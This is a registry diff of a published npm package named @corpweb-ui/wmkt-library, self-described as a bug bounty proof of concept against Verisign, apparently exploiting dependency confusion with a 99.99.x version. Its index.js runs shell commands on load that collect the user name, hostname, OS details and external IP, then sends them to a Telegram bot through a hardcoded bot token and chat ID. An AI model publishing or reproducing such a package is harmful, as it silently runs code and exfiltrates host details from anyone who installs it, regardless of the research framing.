@corpweb-ui/wmkt-library 99.99.11 → 99.99.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +6 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,28 +1,25 @@
1
1
  const { exec } = require("child_process");
2
2
  const https = require("https");
3
3
 
4
- // الأوامر اللي هتثبت الـ RCE بأمان (اسم الجهاز، اليوزر، المسار)
5
- const cmd = "id && pwd && hostname";
4
+ // الكوماند ده هيجيب: whoami, hostname, OS details, والـ IP الخارجي للسيرفر
5
+ const cmd = "echo '---User---' && whoami && echo '---Hostname---' && hostname && echo '---OS---' && uname -a && echo '---IP---' && curl -s ifconfig.me";
6
6
 
7
7
  exec(cmd, (error, stdout, stderr) => {
8
8
  if (error) process.exit(0);
9
9
 
10
10
  const evidence = stdout.trim();
11
- // تأكد من تعديل اسم الشركة هنا لـ Verisign عشان التقرير
12
- const message = `🚨 *VERISIGN - RCE CONFIRMED* 🚨\n\n📦 *Target:* @corpweb-ui/wmkt-library\n\n📄 *Evidence:*\n\`\`\`\n${evidence}\n\`\`\`\n\n✅ *Note:* No sensitive files were accessed to comply with Safe Harbor.`;
11
+ const message = `🚨 *VERISIGN - DEEP RCE CONFIRMED* 🚨\n\n📦 *Target:* @corpweb-ui/wmkt-library\n\n📄 *Evidence:*\n\`\`\`\n${evidence}\n\`\`\`\n\n✅ *Note:* No sensitive files were accessed.`;
13
12
 
14
- // توكن البوت والـ Chat ID بتوعك
15
- const token = "8699485977:AAGE6u0cGKTTMuXq3TGjx05YMP8b6FibODs";
16
- const chatId = "1483949647";
13
+ const token = "8699485977:AAGE6u0cGKTTMuXq3TGjx05YMP8b6FibODs"; // حط التوكن بتاعك
14
+ const chatId = "1483949647"; // حط الشات آي دي بتاعك
17
15
 
18
16
  const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;
19
17
 
20
18
  https.get(url, (res) => {
21
- process.exit(0);
19
+ process.exit(0);
22
20
  }).on('error', (e) => {
23
21
  process.exit(0);
24
22
  });
25
23
  });
26
24
 
27
- // إغلاق العملية إجبارياً بعد 5 ثواني لضمان عدم تعليق السيرفر
28
25
  setTimeout(() => { process.exit(0); }, 5000);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@corpweb-ui/wmkt-library",
3
- "version": "99.99.11",
3
+ "version": "99.99.12",
4
4
  "description": "Bug Bounty PoC for Verisign by Mohamed Elkhair",
5
5
  "main": "index.js",
6
6
  "scripts": {